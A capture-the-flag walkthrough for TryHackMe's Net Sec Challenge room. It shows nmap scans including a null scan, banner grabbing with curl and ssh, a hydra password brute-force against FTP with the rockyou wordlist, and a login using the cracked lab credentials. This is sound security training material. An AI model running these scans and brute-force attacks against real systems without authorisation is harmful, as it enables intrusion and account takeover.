> For the complete documentation index, see [llms.txt](https://jeffgthompsons-organization.gitbook.io/red-team/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://jeffgthompsons-organization.gitbook.io/red-team/walkthroughs/tryhackme/net-sec-challenge.md).

# Net Sec Challenge

**Room Link:** <https://tryhackme.com/room/netsecchallenge>

**What is the highest port number being open less than 10,000?**

```
nmap -sV -sT -O -p 1-10000 $VICTIM
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FkGfjvGOeFt77PAQYwz8x%2Fimage.png?alt=media&amp;token=11561c7d-a965-4665-b6ec-b4df4a278208" alt=""><figcaption></figcaption></figure>

**There is an open port outside the common 1000 ports; it is above 10,000. What is it?**

```
nmap -sV -sT -O -p 1-65535 $VICTIM
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FcjwiVebEboqrPRtcVAr5%2Fimage.png?alt=media&amp;token=f582d7e3-e9cf-427e-aff1-1db236c370f5" alt=""><figcaption></figcaption></figure>

**How many TCP ports are open?**

6

**What is the flag hidden in the HTTP server header?**

```
curl http://$VICTIM -I
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FaZIBLizhQx1ntWb8U2V4%2Fimage.png?alt=media&amp;token=c9899a3d-8abc-4a26-977b-53b85497c08a" alt=""><figcaption></figcaption></figure>

**What is the flag hidden in the SSH server header?**

```
ssh -v $VICTIM
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FjcVoZmLA3Meq5z7YBhNh%2Fimage.png?alt=media&amp;token=bc919e59-bddb-4b77-847e-7b71d0e12f6a" alt=""><figcaption></figcaption></figure>

**We have an FTP server listening on a nonstandard port. What is the version of the FTP server?**

```
vsftpd 3.0.3
```

\
**We learned two usernames using social engineering: `eddie` and `quinn`. What is the flag hidden in one of these two account files and accessible via FTP?**

```
hydra -L users.txt -P /usr/share/wordlists/rockyou.txt ftp://$VICTIM:10021
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FyeRLlBcpwSK0kVafVdfL%2Fimage.png?alt=media&amp;token=0993bbab-4a59-4a9e-9b8a-53a66b58e593" alt=""><figcaption></figcaption></figure>

```
ftp $VICTIM  10021
Name (10.10.129.189:root): quinn
Password: andrea
ftp> get ftp_flag.txt
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FezS06FDHXYCnzkuUyq16%2Fimage.png?alt=media&amp;token=470fd62a-301d-4f30-b363-26cb371a18d1" alt=""><figcaption></figcaption></figure>

**Browsing to `http://10.10.129.189:8080` displays a small challenge that will give you a flag once you solve it. What is the flag?**

```
nmap -sN $VICTIM
```
